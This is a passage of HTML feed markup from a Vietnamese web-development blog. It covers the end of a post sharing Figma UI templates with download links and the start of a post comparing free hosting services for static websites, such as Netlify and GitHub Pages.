url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACbUlEQVQozwFiAp39AON2g952iNd2jdJ3k854msp6ocV8qb99r7yBt7iEvrKDwquCxqN+y5+A0pp/2JN/3o+D5ImC6oSD8oGF+gDmdoDmeYnofpbjgJ3YfJ/Mdp7Ec5+/c6W/grO+jL6/ksvAmdmxidmlgtqhheGjiemei/CYjPePifmDhPcA7XZ/ynh9lV5ell1esnx+1KGr48PX3r/V38Pa063UqnukgWB2gF10ooaek3qcaWKVaWSZY2GVdHK1iIb2APR4frJ5dFdDJ4xnTJd+Zs/Bqvb//+/4+fv///Df8598jGNHIopgQqqOcG9hTyAsPyQvQhojMEhLbI2I9QD1dni6hIR6cmK6kXWGg3mcopr/+vzw6ef39vLr1eqnh599dmOxiXCYk4hETU0yNU02N00sLkJRUniPh/EA9nNyxI6Oiol9v62TiYqGsrCv0uv/qtHuu+L559PosI6ljo1/t6WNm52YVVRcK0ltL1uFI0twUVV8kYbtAPlzb8CJh3eMiouMgpiQdNzg3Oj5/9Lq+tv1/+3a66uImoGQiIiHfKqff31/gxgsRyVBXh02T0tPcZWG6wD6cmzTioeulZKqgn2rh3rm0dXw2ODu1dzt2uHivtW4jKaom5+agYmqko+gmKtUTW5dVXVYU3JuZ5eWheYA+3Jo9XRw8HV47HiB5neF6Keq2n6T03WUznmcyXmgxXupwH2wvIC5uH+/wKPLsovNqILRpIXYnoTdloHgAPBycPdza/F0cux0eeZ1gON+idx3jNd3kdJ4mM16n8d8psF7qrx7sbd9ubSDv61/xKd+yqGA0Z2A15iB3WGHbRy2bV+HAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="login screen" title="login screen" src="/static/0e34c668d9d245eae272298df7dceabd/7c811/10-figma-templates-login-screen.png" srcset="/static/0e34c668d9d245eae272298df7dceabd/103f2/10-figma-templates-login-screen.png 165w, /static/0e34c668d9d245eae272298df7dceabd/748ba/10-figma-templates-login-screen.png 330w, /static/0e34c668d9d245eae272298df7dceabd/7c811/10-figma-templates-login-screen.png 660w, /static/0e34c668d9d245eae272298df7dceabd/d28e0/10-figma-templates-login-screen.png 990w, /static/0e34c668d9d245eae272298df7dceabd/bb51b/10-figma-templates-login-screen.png 1320w, /static/0e34c668d9d245eae272298df7dceabd/ba4af/10-figma-templates-login-screen.png 3036w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Màn hình đăng nhập là một phần không thể thiếu đối với nhiều trang web.</p> <a href="https://drive.google.com/file/d/1rkqjUI9IcE5ZMpiaf9WV5gri_NzxZpm7/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h3 id="figma-template-cho-mobile-gallery" style="position:relative;"><a href="#figma-template-cho-mobile-gallery" aria-label="figma template cho mobile gallery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Mobile Gallery</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACE0lEQVQoz2P4sDsbgt7vBKGX27LObuqa1Ry3ZkrBta1NX/Zm/j6c/+tw/s8DeR925Lzemv1uR/b7XVAtDBDq7fbs11uzP+3MObMg8dylU9dvPjxx4+mh3as394VXprhVpjjVZXqfX5j8cWfOq83Zb7fBNL/fCTLs7bbsN9uzv+zOObswZdXO3fduXrh3++Ku9dOLEtxkVfQ1NLW0NDUWNgX+3FfwcnPWux3YNH/enXN+YXLv/DlljRXpaUmNFblTGhMiI0KCPKzMLFTnNvv8PVj4ZkcW3KdIzt6S/Xl37tmFiX2dNZMWb63sX9hWl7Vqdn1jXXlDcWJrV9vWacm/Dua8g3kYofn9bpDNX/flXFiSXFmd2Dmjb9LUxtaK8FM7ZuzZtLChKOHQiZPXtjZ+2Z32fncOSMsuULDBNO/Kfrcr++v+nItLU5Zt6V+7Y9mRtQu3z6zfv7Zr2dK5KXHBS1etvrGj7cvu1Pe7c96BffpuB1jz+12gSHq7M/vb/pzTCxM3bd977d7zRxdOnF/XP6kxubikqLa6pKahYd+8nJ8Hst6CtcGcvQsade92Zn/clf14U8bpHXNO7Vl6cteyy1s66nN87Vz83Dy9rRzcV3VH/zmS92Z71rudIPVvt4NthrgBFOw7sz/tzXm5OfH5hvin6+O+7c3Y1BeZHe1ckuRWmOB2ZmHC9wO573aAourtdpCzAVH7eePZH55tAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="mobile-gallery" title="mobile-gallery" src="/static/3e0643420cd833f580c1dca5add088b5/7c811/10-figma-templates-mobile-gallery.png" srcset="/static/3e0643420cd833f580c1dca5add088b5/103f2/10-figma-templates-mobile-gallery.png 165w, /static/3e0643420cd833f580c1dca5add088b5/748ba/10-figma-templates-mobile-gallery.png 330w, /static/3e0643420cd833f580c1dca5add088b5/7c811/10-figma-templates-mobile-gallery.png 660w, /static/3e0643420cd833f580c1dca5add088b5/d28e0/10-figma-templates-mobile-gallery.png 990w, /static/3e0643420cd833f580c1dca5add088b5/bb51b/10-figma-templates-mobile-gallery.png 1320w, /static/3e0643420cd833f580c1dca5add088b5/ba4af/10-figma-templates-mobile-gallery.png 3036w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Mẫu Figma này dành dùng để trình diễn bộ sưu tập ảnh trên di động.</p> <a href="https://drive.google.com/file/d/1TuuTJcp2XpZwydPbqaclL2xJvEHpLBDC/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h3 id="figma-template-cho-profile-section" style="position:relative;"><a href="#figma-template-cho-profile-section" aria-label="figma template cho profile section permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Profile Section</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACSUlEQVQozyWS20tUURTGzx+QRFI43gZvo45Omre8VBqZlsmUpjJZUCA9+BpEaEKB3Z76FyTo8hZYFIT0El0YbXDUjnoa02Z0TJNRZ5+z7+fsvWOmxY/19vGxvvVpjFIlpRRCOo4UjpISJPdj0ejO9vZmPP4nvpHY+Rv9vQZNoIQjhbA5d+wUCCENIbK2kTBWt5YiG0uRdePXpm5EgyH928yCvhSZ01eCs8bn4NzsQkQ3YsZqfPFnbH5x1YjEMCba+tZe17X7rZduN/lHT/aMNfpHmv2jLT1jNR23Rh4/v/PkVcfAaOfVRx2DD9sD42cC4+1XHpzuuxcYfgoR0RKAPHsxOTHx8s1U6PX7L5Mfgm+nQu8+pvg0Y1wfvtt7ebCyuedYa7+vpbekrru88WJpfXebfwgAqFmYmogizJSSqZvTI6VUSlmQnB8YKqw6keOpzir2ZbrLDhd4sz3VB1xFlQ1ticS+BiDdNQl3JMQUAAtjQpjNmC2lSprkbP9QhrvSVVrn9jbkltW6PDUuT82h/PLqls6U2EQsaUIpBCR0dw9Qxji3pUg7Y36u78bBnJLc8oYCX5OruCqrqOpIoS8ju+RoUzsAlgYQ27cItwWhHGLKbQExodxWSgHILgRuHi7w5VekxHne+jxvvbvieKa7ovZUVzJppl4FELMwMyEFkCT2AKa2BQkwkWnh5ZVoaH55Jqx/D+tfp2fDC8uhsD4dmp/7YRBMNEaow7nNOcWEIIwgFMJhhBJMGGUqnVxqO8KxbaXk/0alwxX/ADcYqQa38bysAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="profile-section" title="profile-section" src="/static/a92dcffc84be1dd4c5dc082771945003/7c811/10-figma-templates-profile-section.png" srcset="/static/a92dcffc84be1dd4c5dc082771945003/103f2/10-figma-templates-profile-section.png 165w, /static/a92dcffc84be1dd4c5dc082771945003/748ba/10-figma-templates-profile-section.png 330w, /static/a92dcffc84be1dd4c5dc082771945003/7c811/10-figma-templates-profile-section.png 660w, /static/a92dcffc84be1dd4c5dc082771945003/d28e0/10-figma-templates-profile-section.png 990w, /static/a92dcffc84be1dd4c5dc082771945003/bb51b/10-figma-templates-profile-section.png 1320w, /static/a92dcffc84be1dd4c5dc082771945003/1d30e/10-figma-templates-profile-section.png 4048w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Mẫu Figma này dùng cho mục thông tin cá nhân.</p> <a href="https://drive.google.com/file/d/1PB-R5-aKI2sd_I1eQsC5QpqWBnxcU4dU/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h3 id="figma-template-cho-testimonial" style="position:relative;"><a href="#figma-template-cho-testimonial" aria-label="figma template cho testimonial permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Testimonial</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACHUlEQVQoz2OIKs+OqsiOqsxJba3M6WvM6W/M7m/K6W/KndCU3dsQ11gc21CEjKJrCxKbShKaSuIbihniavMjK7KTGkuyWosic2OCksODk8MCk8L9E0Ij8+PnbVqxcvfm5bs2QdCK3ZsXbF6T2V4d31AUV1fAkNxantBQnD+hKSjRTVKIRU2SOz3AVEGCh4mBwc7D+Nefn//////37x+c/Pzta8mElvjG4vj6IoaklrLElrK8Cc2xxSFiIhzWerLdOV7WerIMDAxp2dG///x79uLN67cfXr358PzVu4+fvn74/KlsSntic1lSSxlIc1JLWW5vg1eko7gop6w4b7afkY68EAMDQ3tbw////x8/ffXy1bvnL98+efYaprkDVXNfo0uQvZAAq5gQZ7a7upW6MAMDw8b1a/7////k2asvX79/+/7z85dv//////Lta9nk9sTmUqjmxObSvP7G4MxgYVFeaRHOSRW+jqayHFxsDx/e//bt+8OHjz59+vT7z58/f/+C/Pz1c9nkdoiVUM35E5tDMqMlZUSkFSXTskNM7A08fNx+//4NDycw+Pf7//9nn75Wojk7u6c+sSI3LDs+tjw7OjcxMie+ekLrrhOHdp44uOP4wa2H94LQoT2bD+1dvW9XYX8TwuaklrKU1vKsnvq8/qbc3obcvsbc/qaMrtr4xpL4xpK4xqKo6tyw8szw8szomtzEppKUtgqIZgDaGkA+SSulQAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="testimonial" title="testimonial" src="/static/23c46bba3e594e1f844cca5c1504662b/7c811/10-figma-templates-testimonial.png" srcset="/static/23c46bba3e594e1f844cca5c1504662b/103f2/10-figma-templates-testimonial.png 165w, /static/23c46bba3e594e1f844cca5c1504662b/748ba/10-figma-templates-testimonial.png 330w, /static/23c46bba3e594e1f844cca5c1504662b/7c811/10-figma-templates-testimonial.png 660w, /static/23c46bba3e594e1f844cca5c1504662b/d28e0/10-figma-templates-testimonial.png 990w, /static/23c46bba3e594e1f844cca5c1504662b/bb51b/10-figma-templates-testimonial.png 1320w, /static/23c46bba3e594e1f844cca5c1504662b/a52c7/10-figma-templates-testimonial.png 2024w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Testimonial là mục thể hiện những nhận xét của người dùng sau khi sử dụng dịch vụ.</p> <a href="https://drive.google.com/file/d/1tv0bb3mqZOmbcu8B6cA_mBb8xZy-P3-I/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h3 id="figma-template-cho-twitter-profile-card" style="position:relative;"><a href="#figma-template-cho-twitter-profile-card" aria-label="figma template cho twitter profile card permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figma template cho Twitter Profile Card</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+klEQVQoz2WR3WoTURDH8wjeKQgBFUukkY2pWWKi25QS+2GiSFTIVQQFH8A38EUEodJAqQQi9bv0otjW3nghGI21JnGT3ZPd87HnZDe7e/bIZqtQ/DMwFzO/4T8zMes/UcaAqn39/KXXPiQmhLoBh5AQy6IUYYInEXXGooT/CiFEGdUO+u3d9s+9A/ADGC1jpDPPdwnGQcA5913XPQZ7nu9zbts2hNBxHI/7tuvajvOr02u+2Xz9futF4+XTZysftrabr9593NunlIYwIcQZu/s72592d4aGIYT43e1ubjRB91AIsVJfT89cyeSLqdxC/EJWyii3S7dqtUcQY0ppCNu2/f1bq9VqmQjZjoMR6nY6BOMIzs0uycpyUp4/dzE/fbmQnFEq1QeEEEqt2OQQNDI8GAxUVe31ejoAjjMOOK+vNeIJWcoWL+UW0vlFebZ0XrpWvnv/aGdCCGNsaBiUMSGECaHa73POPc8LuL+61kjK81MpJZ6QM8oNuVA6eUYq36kdg00TmhAKISBCmBAhxGjsBpw/r69PpZREunDqbCqcIl09cXp6qVKzrNBxeG1KKcYEIhQEgUUpGzHX531sc99rbrydW753/WY1O1culquFxUpaKT18/IQSfAT/E0KITIQxssJy+P+BpmuaDsBQ03RdB0AHhmFEtv8As8rSSihaFh4AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="twitter profile card" title="twitter profile card" src="/static/7802f9a688ddbf1853dbdc79d800c4b6/7c811/10-figma-templates-twitter-profile-card.png" srcset="/static/7802f9a688ddbf1853dbdc79d800c4b6/103f2/10-figma-templates-twitter-profile-card.png 165w, /static/7802f9a688ddbf1853dbdc79d800c4b6/748ba/10-figma-templates-twitter-profile-card.png 330w, /static/7802f9a688ddbf1853dbdc79d800c4b6/7c811/10-figma-templates-twitter-profile-card.png 660w, /static/7802f9a688ddbf1853dbdc79d800c4b6/d28e0/10-figma-templates-twitter-profile-card.png 990w, /static/7802f9a688ddbf1853dbdc79d800c4b6/bb51b/10-figma-templates-twitter-profile-card.png 1320w, /static/7802f9a688ddbf1853dbdc79d800c4b6/10dae/10-figma-templates-twitter-profile-card.png 6072w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Twitter Profile Card được dùng khi bạn muốn show thông tin về Twitter của bản thân.</p> <a href="https://drive.google.com/file/d/1ynP8HimTl77cGwbnhjqyaL27aBEgJ3Hc/view?usp=sharing" class="btn btn-primary margin-bottom"> Download </a> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 10 Figma Templates cho web và di động. Bạn thấy thích thiết kế nào nhất? Hãy chia sẻ với mình trong phần bình luận phía dưới nhé!</p> <p>Ngoài ra, bạn cũng có thể ủng hộ tác giả của những thiết kế này nhé (mình chỉ sưu tầm lại thôi):</p> <p>👉 <a href="https://www.buymeacoffee.com/nareshbabu/10-figma-templates-mobile-web">10 Figma Templates for Mobile &#x26; Web</a></p>[email protected]<![CDATA[10 hosting miễn phí cho web tĩnh]]><![CDATA[Cùng với sự phát triển nhanh đến chóng mặt của các Static Site Generator (trình sinh web tĩnh) và kiến trúc website JAMstack, rất nhiều các trang web đã hỗ trợ deploy web tĩnh miễn…]]>https://completejavascript.com/hosting-mien-phi-cho-web-tinh/https://completejavascript.com/hosting-mien-phi-cho-web-tinh/<![CDATA[Free Hosting]]>Fri, 08 Oct 2021 14:02:00 GMT<p>Cùng với sự phát triển nhanh đến chóng mặt của các Static Site Generator (trình sinh web tĩnh) và kiến trúc website JAMstack, rất nhiều các trang web đã hỗ trợ deploy web tĩnh miễn phí. Tuy nhiên, không phải dịch vụ nào cũng cho phép thay đổi tên miền. Vì vậy, bài viết này mình sẽ tổng hợp lại 10 hosting miễn phí cho web tĩnh mà bạn có thể áp dụng ngay cho các dự án của mình.</p> <p>Nhưng trước khi đi vào danh sách chi tiết 10 hosting miễn phí này, mình muốn giới thiệu một chút về web tĩnh là gì và tại sao lại có nhiều dịch vụ hosting miễn phí cho web tĩnh như vậy? Liệu có phải những thứ miễn phí thì đều không tốt?</p> <h2 id="web-tĩnh-là-gì" style="position:relative;"><a href="#web-t%C4%A9nh-l%C3%A0-g%C3%AC" aria-label="web tĩnh là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Web tĩnh là gì?</h2> <p>Web tĩnh hiểu một cách đơn giản là trang web mà nội dung của nó không thể thay đổi được khi đã deploy code lên hosting. Bất cứ một thay đổi nào về nội dung bài viết thì đều phải chỉnh sửa lại code, build và deploy lại lên hosting.</p> <p>Với web tĩnh, bạn có thể sử dụng HTML, CSS và JavaScript. Hoặc sử dụng một Static Site Generator (ví dụ <a href="/tag/gatsbyjs/">Gatsby.js</a>) để hỗ trợ xây dựng website nhanh chóng, đơn giản hơn.</p> <p>Chính vì web tĩnh không có những yêu cầu về server như quản lý database, tạo nội dung động với CMS như <a href="/tag/wordpress/">Wordpress</a> nên các dịch vụ dưới đây đều cung cấp hosting miễn phí cho web tĩnh. Và thậm chí là các website này còn cho phép thay đổi tên miền, miễn phí SSL và hỗ trợ CI (Continuous Integration).</p> <p>Bạn hãy đọc và xem dịch vụ nào phù hợp với dự án cá nhân của bạn nhé!</p> <h2 id="10-hosting-miễn-phí-cho-web-tĩnh" style="position:relative;"><a href="#10-hosting-mi%E1%BB%85n-ph%C3%AD-cho-web-t%C4%A9nh" aria-label="10 hosting miễn phí cho web tĩnh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>10 hosting miễn phí cho web tĩnh</h2> <p>Dưới đây là danh sách các hosting miễn phí cho phép bạn thay đổi tên miền.</p> <h3 id="1-netlify" style="position:relative;"><a href="#1-netlify" aria-label="1 netlify permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>1. <a href="https://www.netlify.com/">Netlify</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACNUlEQVQoz42RTU8TURSG52/4O2TpX3BPSERc+ANIXICm+BE3krgRQgJGjRsTjYKkkgYsHYZSPgqFtgiFFtqZzkynLdPOMDPt3Dlz77mmfBg2JD45i5P3vO/i5BUYok8IAIQXAACl9OaOyPACCMMgCCAMKaUBhIwxIWDMbFuu43YvcN2rxfdJp+MREiDySxCxJ/YugdslEFKB3wJehhAYeCQAy7KajQajISL75xGKxVJscSmeEMvlSkKUlhPiTmYXADjnjKFfMxqGHI0uRCJjA/39o2Mv3m3Jk0dGA7q98Gm5Iq6sbqXTqfWNZColrkjxROLwsNBqtZDzznFZ31x5Mz4+Pf1+anLi/sDDOx+z9+YKRUIdQEGWlVwuv7uXjS8njoulbC4vrSYXl+J/Dg4458OvZpOfP83Pfh99+iwSiTx/+XpCyscyJUXaO/OoYNTrP+ejG5vptfWN6K8FUZSk1WSr3e79y/lJrnDw9cPI6MiDwcGhoUd9d/uODrPpzf3Y2AzjTOh0HMNQmg1NrZ7KsqLIiqpqZ6Zp2zZDDDy7kNlaXPodi8XW1pJPhh+n4xNNWy57XdG3BL1+vr6rZvaNnbyu1+qGYdRqNVXTqlU1DMNzxytXKpqmabquaA3LIVXdbDVNgMANiLBdwLdfwqkfdGaeWbbbttrsulmGCMRPFUpHiurYTqsqWqffvOrcuVnyOoQBCLeVfNUzR7vrdwEQOfVOqJWm1jYlJmU9j9BT2dXcyPwXfwHoF3lTLxcDTgAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="netlify" title="netlify" src="/static/4162f8ec56d2bccf06983acdaa28115e/7c811/hosting-mien-phi-netlify.png" srcset="/static/4162f8ec56d2bccf06983acdaa28115e/103f2/hosting-mien-phi-netlify.png 165w, /static/4162f8ec56d2bccf06983acdaa28115e/748ba/hosting-mien-phi-netlify.png 330w, /static/4162f8ec56d2bccf06983acdaa28115e/7c811/hosting-mien-phi-netlify.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bản thân blog <strong>Complete JavaScript</strong> của mình cũng là web tĩnh được <a href="/tao-trang-blog-voi-gatsby-js/#deploy-l%C3%AAn-netlify">deploy lên Netlify</a>. Và mình rất ưng ý với dịch vụ hosting này nên sẽ tiếp tục sử dụng nó dài dài.</p> <p>Với Netlify bạn không chỉ deploy được web tĩnh mà còn cả single-page application và website thương mại điện tử phức tạp.</p> <p>Netlify cho phép bạn kết nối với các private repo trên Github kết hợp với hệ thống CI giúp bạn deploy code một cách dễ dàng.</p> <p><strong>Giá</strong>: miễn phí<br> <strong>Giới hạn</strong>: kích thước 100GB, băng thông 100GB/tháng, thời gian build code 300 phút/tháng<br> <strong>Thay đổi tên miền</strong>: có<br> <strong>Hỗ trợ SSL</strong>: có<br> <strong>Miễn phí CI</strong>: có<br> <strong>Nâng cấp</strong>: có, sau khi nâng cấp bạn có thể sử dụng khá nhiều tính năng nâng cao, plugin hỗ trợ như quản lý form, bảo vệ mật khẩu,...</p> <h3 id="2-github-pages" style="position:relative;"><a href="#2-github-pages" aria-label="2 github pages permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>2. <a href="https://pages.github.com/">Github Pages</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: 